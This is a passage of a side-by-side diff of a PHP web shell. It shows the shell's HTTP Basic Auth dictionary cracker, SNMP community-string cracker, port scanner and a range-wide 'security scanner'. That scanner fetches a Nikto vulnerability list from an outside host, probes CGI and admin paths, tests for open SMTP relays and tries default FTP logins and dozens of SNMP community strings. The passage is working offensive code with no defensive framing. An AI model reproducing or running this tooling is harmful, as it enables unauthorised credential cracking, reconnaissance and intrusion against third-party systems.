| 6884 | $pass=substr($combo,strpos($combo,':')+1); | 6884 | $pass=substr($combo,strpos($combo,':')+1); |
| 6885 | }else{ | 6885 | }else{ |
| 6886 | $pass=trim(fgets($dictionary)," \n\r"); | 6886 | $pass=trim(fgets($dictionary)," \n\r"); |
| 6887 | } | 6887 | } |
| 6888 | $so=fsockopen($host,80,$en,$es,5); | 6888 | $so=fsockopen($host,80,$en,$es,5); |
| 6889 | if(!$so){echo "$errorbox Can not connect to host$et";break;} | 6889 | if(!$so){echo "$errorbox Can not connect to host$et";break;} |
| 6890 | else{ | 6890 | else{ |
| 6891 | $packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); | 6891 | $packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); |
| 6892 | if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data); | 6892 | if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data); |
| 6893 | $packet.="\r\n\r\n"; | 6893 | $packet.="\r\n\r\n"; |
| 6894 | $packet.=$data; | 6894 | $packet.=$data; |
| 6895 | fputs($so,$packet); | 6895 | fputs($so,$packet); |
| 6896 | $res=substr(fgets($so),9,2); | 6896 | $res=substr(fgets($so),9,2); |
| 6897 | fclose($so); | 6897 | fclose($so); |
| 6898 | if($res=='20')echo "U: $user P: $pass</br>"; | 6898 | if($res=='20')echo "U: $user P: $pass</br>"; |
| 6899 | flusheR(); | 6899 | flusheR(); |
| 6900 | } | 6900 | } |
| 6901 | } | 6901 | } |
| 6902 | echo "Done!</font>"; | 6902 | echo "Done!</font>"; |
| 6903 | }else echo "<center><form method=\"POST\" name=form><table><tr><td bgcolor=\"#333333\"><font color=silver> | 6903 | }else echo "<center><form method=\"POST\" name=form><table><tr><td bgcolor=\"#333333\"><font color=silver> |
| 6904 | HTTP Auth cracker:</font></td><td bgcolor=\"#333333\"><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>"; | 6904 | HTTP Auth cracker:</font></td><td bgcolor=\"#333333\"><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>"; |
| 6905 | } | 6905 | } |
| 6906 | 6906 | ||
| 6907 | if ($act == "snmp") | 6907 | if ($act == "snmp") |
| 6908 | { | 6908 | { |
| 6909 | global $t,$et,$errorbox,$crack,$hcwd; | 6909 | global $t,$et,$errorbox,$crack,$hcwd; |
| 6910 | if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ | 6910 | if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ |
| 6911 | $target=$_REQUEST['target']; | 6911 | $target=$_REQUEST['target']; |
| 6912 | $dictionary=fopen($_REQUEST['dictionary'],'r'); | 6912 | $dictionary=fopen($_REQUEST['dictionary'],'r'); |
| 6913 | if ($dictionary){ | 6913 | if ($dictionary){ |
| 6914 | echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); | 6914 | echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); |
| 6915 | while(!feof($dictionary)){ | 6915 | while(!feof($dictionary)){ |
| 6916 | $com=trim(fgets($dictionary)," \n\r"); | 6916 | $com=trim(fgets($dictionary)," \n\r"); |
| 6917 | $res=snmpchecK($target,$com,2); | 6917 | $res=snmpchecK($target,$com,2); |
| 6918 | if($res)echo "$com<br>"; | 6918 | if($res)echo "$com<br>"; |
| 6919 | flusheR(); | 6919 | flusheR(); |
| 6920 | } | 6920 | } |
| 6921 | echo "<br>Done</font>"; | 6921 | echo "<br>Done</font>"; |
| 6922 | fclose($dictionary); | 6922 | fclose($dictionary); |
| 6923 | } | 6923 | } |
| 6924 | else{ | 6924 | else{ |
| 6925 | echo "$errorbox Can not open dictionary.$et"; | 6925 | echo "$errorbox Can not open dictionary.$et"; |
| 6926 | } | 6926 | } |
| 6927 | } | 6927 | } |
| 6928 | echo "<center><table width=\"50%\">SNMP cracker:<form method=\"POST\">$hcwd<tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>"; | 6928 | echo "<center><table width=\"50%\">SNMP cracker:<form method=\"POST\">$hcwd<tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>"; |
| 6929 | } | 6929 | } |
| 6930 | 6930 | ||
| 6931 | 6931 | ||
| 6932 | 6932 | ||
| 6933 | if ($act == "scanner") | 6933 | if ($act == "scanner") |
| 6934 | { | 6934 | { |
| 6935 | global $hcwd; | 6935 | global $hcwd; |
| 6936 | if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1"; | 6936 | if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1"; |
| 6937 | $udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; | 6937 | $udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; |
| 6938 | if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ | 6938 | if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ |
| 6939 | $target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0; | 6939 | $target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0; |
| 6940 | echo "<font color=yellow>Port scanning started against ".htmlspecialchars($target).":<br>"; | 6940 | echo "<font color=yellow>Port scanning started against ".htmlspecialchars($target).":<br>"; |
| 6941 | $start=time(); | 6941 | $start=time(); |
| 6942 | for($i=$from;$i<=$to;$i++){ | 6942 | for($i=$from;$i<=$to;$i++){ |
| 6943 | if($tcp){ | 6943 | if($tcp){ |
| 6944 | if (checkthisporT($target,$i,$timeout)){ | 6944 | if (checkthisporT($target,$i,$timeout)){ |
| 6945 | $nu++; | 6945 | $nu++; |
| 6946 | $ser=""; | 6946 | $ser=""; |
| 6947 | if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")"; | 6947 | if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")"; |
| 6948 | echo "$nu) $i $ser (<a href=\"telnet://$target:$i\">Connect</a>) [TCP]<br>"; | 6948 | echo "$nu) $i $ser (<a href=\"telnet://$target:$i\">Connect</a>) [TCP]<br>"; |
| 6949 | } | 6949 | } |
| 6950 | } | 6950 | } |
| 6951 | if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]<br>";} | 6951 | if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]<br>";} |
| 6952 | flusheR(); | 6952 | flusheR(); |
| 6953 | } | 6953 | } |
| 6954 | $time=time()-$start; | 6954 | $time=time()-$start; |
| 6955 | echo "Done! ($time seconds)</font>"; | 6955 | echo "Done! ($time seconds)</font>"; |
| 6956 | } | 6956 | } |
| 6957 | elseif (!empty($_REQUEST['securityscanner'])){ | 6957 | elseif (!empty($_REQUEST['securityscanner'])){ |
| 6958 | echo "<font color=yellow>"; | 6958 | echo "<font color=yellow>"; |
| 6959 | $start=time(); | 6959 | $start=time(); |
| 6960 | $from=$_REQUEST['from']; | 6960 | $from=$_REQUEST['from']; |
| 6961 | $to=(int)$_REQUEST['to']; | 6961 | $to=(int)$_REQUEST['to']; |
| 6962 | $timeout=(int)$_REQUEST['timeout']; | 6962 | $timeout=(int)$_REQUEST['timeout']; |
| 6963 | $f = substr($from,strrpos($from,".")+1); | 6963 | $f = substr($from,strrpos($from,".")+1); |
| 6964 | $from = substr($from,0,strrpos($from,".")); | 6964 | $from = substr($from,0,strrpos($from,".")); |
| 6965 | if(!empty($_REQUEST['httpscanner'])){ | 6965 | if(!empty($_REQUEST['httpscanner'])){ |
| 6966 | echo "Loading webserver bug list..."; | 6966 | echo "Loading webserver bug list..."; |
| 6967 | flusheR(); | 6967 | flusheR(); |
| 6968 | $buglist=whereistmP().DIRECTORY_SEPARATOR.namE(); | 6968 | $buglist=whereistmP().DIRECTORY_SEPARATOR.namE(); |
| 6969 | $dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); | 6969 | $dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); |
| 6970 | if($dl){$file=file($buglist);echo "Done! scanning started.<br><br>";}else echo "Failed!!! scanning started without webserver security testing...<br><br>"; | 6970 | if($dl){$file=file($buglist);echo "Done! scanning started.<br><br>";}else echo "Failed!!! scanning started without webserver security testing...<br><br>"; |
| 6971 | flusheR(); | 6971 | flusheR(); |
| 6972 | }else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:<br><br>";} | 6972 | }else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:<br><br>";} |
| 6973 | for($i=$f;$i<=$to;$i++){ | 6973 | for($i=$f;$i<=$to;$i++){ |
| 6974 | $output=0; | 6974 | $output=0; |
| 6975 | $ip="$from.$i"; | 6975 | $ip="$from.$i"; |
| 6976 | if(!empty($_REQUEST['nslookup'])){ | 6976 | if(!empty($_REQUEST['nslookup'])){ |
| 6977 | $hn=gethostbyaddr($ip); | 6977 | $hn=gethostbyaddr($ip); |
| 6978 | if($hn!=$ip)echo "$ip [$hn]<br>";} | 6978 | if($hn!=$ip)echo "$ip [$hn]<br>";} |
| 6979 | flusheR(); | 6979 | flusheR(); |
| 6980 | if(!empty($_REQUEST['ipscanner'])){ | 6980 | if(!empty($_REQUEST['ipscanner'])){ |
| 6981 | $port=$_REQUEST['port']; | 6981 | $port=$_REQUEST['port']; |
| 6982 | if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port; | 6982 | if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port; |
| 6983 | $open=$ser=""; | 6983 | $open=$ser=""; |
| 6984 | foreach($p as $po){ | 6984 | foreach($p as $po){ |
| 6985 | $scan=checkthisporT($ip,$po,$timeout); | 6985 | $scan=checkthisporT($ip,$po,$timeout); |
| 6986 | if ($scan){ | 6986 | if ($scan){ |
| 6987 | $ser=""; | 6987 | $ser=""; |
| 6988 | if($ser=getservbyport($po,"tcp"))$ser="($ser)"; | 6988 | if($ser=getservbyport($po,"tcp"))$ser="($ser)"; |
| 6989 | $open.=" $po$ser "; | 6989 | $open.=" $po$ser "; |
| 6990 | } | 6990 | } |
| 6991 | } | 6991 | } |
| 6992 | if($open){echo "$ip) Open ports:$open<br>";$output=1;} | 6992 | if($open){echo "$ip) Open ports:$open<br>";$output=1;} |
| 6993 | flusheR(); | 6993 | flusheR(); |
| 6994 | } | 6994 | } |
| 6995 | if(!empty($_REQUEST['httpbanner'])){ | 6995 | if(!empty($_REQUEST['httpbanner'])){ |
| 6996 | $res=get_sw_namE($ip,$timeout); | 6996 | $res=get_sw_namE($ip,$timeout); |
| 6997 | if($res){ | 6997 | if($res){ |
| 6998 | echo "$ip) Webserver software: "; | 6998 | echo "$ip) Webserver software: "; |
| 6999 | if($res==-1)echo "Unknow"; | 6999 | if($res==-1)echo "Unknow"; |
| 7000 | else echo $res; | 7000 | else echo $res; |
| 7001 | echo "<br>"; | 7001 | echo "<br>"; |
| 7002 | $output=1; | 7002 | $output=1; |
| 7003 | } | 7003 | } |
| 7004 | flusheR(); | 7004 | flusheR(); |
| 7005 | } | 7005 | } |
| 7006 | if(!empty($_REQUEST['httpscanner'])){ | 7006 | if(!empty($_REQUEST['httpscanner'])){ |
| 7007 | if(checkthisporT($ip,80,$timeout) && !empty($file)){ | 7007 | if(checkthisporT($ip,80,$timeout) && !empty($file)){ |
| 7008 | $admin=array('/admin/','/adm/'); | 7008 | $admin=array('/admin/','/adm/'); |
| 7009 | $users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); | 7009 | $users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); |
| 7010 | $nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); | 7010 | $nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); |
| 7011 | $cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); | 7011 | $cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); |
| 7012 | foreach ($file as $v){ | 7012 | foreach ($file as $v){ |
| 7013 | $vuln=array(); | 7013 | $vuln=array(); |
| 7014 | $v=trim($v); | 7014 | $v=trim($v); |
| 7015 | if(!$v || $v{0}=='#')continue; | 7015 | if(!$v || $v{0}=='#')continue; |
| 7016 | $v=str_replace('","','^',$v); | 7016 | $v=str_replace('","','^',$v); |
| 7017 | $v=str_replace('"','',$v); | 7017 | $v=str_replace('"','',$v); |
| 7018 | $vuln=explode('^',$v); | 7018 | $vuln=explode('^',$v); |
| 7019 | $page=$cqich=$nukech=$adminch=$userch=$vuln[1]; | 7019 | $page=$cqich=$nukech=$adminch=$userch=$vuln[1]; |
| 7020 | if(strstr($page,'@CGIDIRS')) | 7020 | if(strstr($page,'@CGIDIRS')) |
| 7021 | foreach($cgi as $cg){ | 7021 | foreach($cgi as $cg){ |
| 7022 | $cqich=str_replace('@CGIDIRS',$cg,$page); | 7022 | $cqich=str_replace('@CGIDIRS',$cg,$page); |
| 7023 | $url="http://$ip$cqich"; | 7023 | $url="http://$ip$cqich"; |
| 7024 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout); | 7024 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout); |
| 7025 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} | 7025 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} |
| 7026 | flusheR(); | 7026 | flusheR(); |
| 7027 | } | 7027 | } |
| 7028 | elseif(strstr($page,'@ADMINDIRS')) | 7028 | elseif(strstr($page,'@ADMINDIRS')) |
| 7029 | foreach ($admin as $cg){ | 7029 | foreach ($admin as $cg){ |
| 7030 | $adminch=str_replace('@ADMINDIRS',$cg,$page); | 7030 | $adminch=str_replace('@ADMINDIRS',$cg,$page); |
| 7031 | $url="http://$ip$adminch"; | 7031 | $url="http://$ip$adminch"; |
| 7032 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout); | 7032 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout); |
| 7033 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} | 7033 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} |
| 7034 | flusheR(); | 7034 | flusheR(); |
| 7035 | } | 7035 | } |
| 7036 | elseif(strstr($page,'@USERS')) | 7036 | elseif(strstr($page,'@USERS')) |
| 7037 | foreach ($users as $cg){ | 7037 | foreach ($users as $cg){ |
| 7038 | $userch=str_replace('@USERS',$cg,$page); | 7038 | $userch=str_replace('@USERS',$cg,$page); |
| 7039 | $url="http://$ip$userch"; | 7039 | $url="http://$ip$userch"; |
| 7040 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout); | 7040 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout); |
| 7041 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} | 7041 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} |
| 7042 | flusheR(); | 7042 | flusheR(); |
| 7043 | } | 7043 | } |
| 7044 | elseif(strstr($page,'@NUKE')) | 7044 | elseif(strstr($page,'@NUKE')) |
| 7045 | foreach ($nuke as $cg){ | 7045 | foreach ($nuke as $cg){ |
| 7046 | $nukech=str_replace('@NUKE',$cg,$page); | 7046 | $nukech=str_replace('@NUKE',$cg,$page); |
| 7047 | $url="http://$ip$nukech"; | 7047 | $url="http://$ip$nukech"; |
| 7048 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout); | 7048 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout); |
| 7049 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} | 7049 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} |
| 7050 | flusheR(); | 7050 | flusheR(); |
| 7051 | } | 7051 | } |
| 7052 | else{ | 7052 | else{ |
| 7053 | $url="http://$ip$page"; | 7053 | $url="http://$ip$page"; |
| 7054 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout); | 7054 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout); |
| 7055 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} | 7055 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} |
| 7056 | flusheR(); | 7056 | flusheR(); |
| 7057 | } | 7057 | } |
| 7058 | } | 7058 | } |
| 7059 | } | 7059 | } |
| 7060 | } | 7060 | } |
| 7061 | if(!empty($_REQUEST['smtprelay'])){ | 7061 | if(!empty($_REQUEST['smtprelay'])){ |
| 7062 | if(checkthisporT($ip,25,$timeout)){ | 7062 | if(checkthisporT($ip,25,$timeout)){ |
| 7063 | $res=''; | 7063 | $res=''; |
| 7064 | $res=checksmtP($ip,$timeout); | 7064 | $res=checksmtP($ip,$timeout); |
| 7065 | if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}flusheR(); | 7065 | if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}flusheR(); |
| 7066 | } | 7066 | } |
| 7067 | } | 7067 | } |
| 7068 | if(!empty($_REQUEST['snmpscanner'])){ | 7068 | if(!empty($_REQUEST['snmpscanner'])){ |
| 7069 | if(checkthisporT($ip,161,$timeout,1)){ | 7069 | if(checkthisporT($ip,161,$timeout,1)){ |
| 7070 | $com=$_REQUEST['com']; | 7070 | $com=$_REQUEST['com']; |
| 7071 | $coms=$res=""; | 7071 | $coms=$res=""; |
| 7072 | if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com; | 7072 | if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com; |
| 7073 | foreach ($c as $v){ | 7073 | foreach ($c as $v){ |
| 7074 | $ret=snmpchecK($ip,$v,$timeout); | 7074 | $ret=snmpchecK($ip,$v,$timeout); |
| 7075 | if($ret)$coms .=" $v "; | 7075 | if($ret)$coms .=" $v "; |
| 7076 | } | 7076 | } |
| 7077 | if ($coms!=""){echo "$ip) SNMP FOUND: $coms<br>";$output=1;} | 7077 | if ($coms!=""){echo "$ip) SNMP FOUND: $coms<br>";$output=1;} |
| 7078 | flusheR(); | 7078 | flusheR(); |
| 7079 | } | 7079 | } |
| 7080 | } | 7080 | } |
| 7081 | if(!empty($_REQUEST['ftpscanner'])){ | 7081 | if(!empty($_REQUEST['ftpscanner'])){ |
| 7082 | if(checkthisporT($ip,21,$timeout)){ | 7082 | if(checkthisporT($ip,21,$timeout)){ |
| 7083 | $usps=explode(',',$_REQUEST['userpass']); | 7083 | $usps=explode(',',$_REQUEST['userpass']); |
| 7084 | foreach ($usps as $v){ | 7084 | foreach ($usps as $v){ |
| 7085 | $user=substr($v,0,strpos($v,':')); | 7085 | $user=substr($v,0,strpos($v,':')); |
| 7086 | $pass=substr($v,strpos($v,':')+1); | 7086 | $pass=substr($v,strpos($v,':')+1); |
| 7087 | if($pass=='[BLANK]')$pass=''; | 7087 | if($pass=='[BLANK]')$pass=''; |
| 7088 | $ftp=@ftp_connect($ip,21,$timeout); | 7088 | $ftp=@ftp_connect($ip,21,$timeout); |
| 7089 | if ($ftp){ | 7089 | if ($ftp){ |
| 7090 | if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) <a href=\"ftp://$ip\" target=\"_blank\">$ip</a> System type: ".ftp_systype($ftp)."<br>";} | 7090 | if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) <a href=\"ftp://$ip\" target=\"_blank\">$ip</a> System type: ".ftp_systype($ftp)."<br>";} |
| 7091 | } | 7091 | } |
| 7092 | flusheR(); | 7092 | flusheR(); |
| 7093 | } | 7093 | } |
| 7094 | } | 7094 | } |
| 7095 | } | 7095 | } |
| 7096 | if($output)echo "<hr size=1 noshade>"; | 7096 | if($output)echo "<hr size=1 noshade>"; |
| 7097 | flusheR(); | 7097 | flusheR(); |
| 7098 | } | 7098 | } |
| 7099 | $time=time()-$start; | 7099 | $time=time()-$start; |
| 7100 | echo "Done! ($time seconds)</font>"; | 7100 | echo "Done! ($time seconds)</font>"; |
| 7101 | if(!empty($buglist))unlink($buglist); | 7101 | if(!empty($buglist))unlink($buglist); |
| 7102 | } | 7102 | } |
| 7103 | else{ | 7103 | else{ |
| 7104 | $chbox=(extension_loaded('sockets'))?"<input type=checkbox name=tcp value=1 checked>TCP<input type=checkbox name=udp value=1 checked>UDP":"<input type=hidden name=tcp value=1>"; | 7104 | $chbox=(extension_loaded('sockets'))?"<input type=checkbox name=tcp value=1 checked>TCP<input type=checkbox name=udp value=1 checked>UDP":"<input type=hidden name=tcp value=1>"; |
| 7105 | echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td>Port scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">Target:</td><td bgcolor=\"#808080\" width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor=\"#666666\" width=25%>From:</td><td bgcolor=\"#666666\" width=25%><input name=fromport type=text value=\"1\" size=5></td></tr><tr><td bgcolor=\"#808080\" width=25%>To:</td><td bgcolor=\"#808080\" width=25%><input name=toport type=text value=\"1024\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Timeout:</td><td bgcolor=\"#666666\"><input name=timeout type=text value=\"2\" size=5></td><tr><td width=\"25%\" bgcolor=\"#808080\">$chbox</td><td bgcolor=\"#808080\" align=\"right\">$hcwd<input type=submit class=buttons name=portscanner value=Scan></td></tr></form></table>"; | 7105 | echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td>Port scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">Target:</td><td bgcolor=\"#808080\" width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor=\"#666666\" width=25%>From:</td><td bgcolor=\"#666666\" width=25%><input name=fromport type=text value=\"1\" size=5></td></tr><tr><td bgcolor=\"#808080\" width=25%>To:</td><td bgcolor=\"#808080\" width=25%><input name=toport type=text value=\"1024\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Timeout:</td><td bgcolor=\"#666666\"><input name=timeout type=text value=\"2\" size=5></td><tr><td width=\"25%\" bgcolor=\"#808080\">$chbox</td><td bgcolor=\"#808080\" align=\"right\">$hcwd<input type=submit class=buttons name=portscanner value=Scan></td></tr></form></table>"; |
| 7106 | $host = substr($host,0,strrpos($host,".")); | 7106 | $host = substr($host,0,strrpos($host,".")); |
| 7107 | echo "<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\" name=security><td>security scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\" width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style=\"border-width:1px;background-color:#808080;\" name=nslookup checked>NS lookup</td></tr><tr><td bgcolor=\"#666666\" width=25%>To:</td><td bgcolor=\"#666666\" width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Timeout:</td><td bgcolor=\"#808080\"><input name=timeout type=text value=\"2\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ipscanner value=1 checked onClick=\"document.security.port.disabled = !document.security.port.disabled;\" style=\"border-width:1px;background-color:#666666;\">Port scanner:</td><td bgcolor=\"#666666\"><input name=port type=text value=\"21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=httpbanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Get web banner</td><td bgcolor=\"#808080\"><input type=checkbox name=httpscanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Webserver security scanning <input type=checkbox name=smtprelay value=1 checked style=\"border-width:1px;background-color:#808080;\">SMTP relay check</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ftpscanner value=1 checked onClick=\"document.security.userpass.disabled = !document.security.userpass.disabled;\" style=\"border-width:1px;background-color:#666666;\">FTP password:</td><td bgcolor=\"#666666\"><input name=userpass type=text value=\"anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=snmpscanner value=1 onClick=\"document.security.com.disabled = !document.security.com.disabled;\" checked style=\"border-width:1px;background-color:#808080;\">SNMP:</td><td bgcolor=\"#808080\"><input name=com type=text value=\"public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,agent,manager,OrigEquipMfr,default,tivoli,openview,community,snmp,snmpd,Secret C0de,security,rmon,rmon_admin,hp_admin,NoGaH$@!,agent_steal,freekevin,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,apc,TENmanUFactOryPOWER,proxy,core,regional\" size=60></td></tr><tr><td 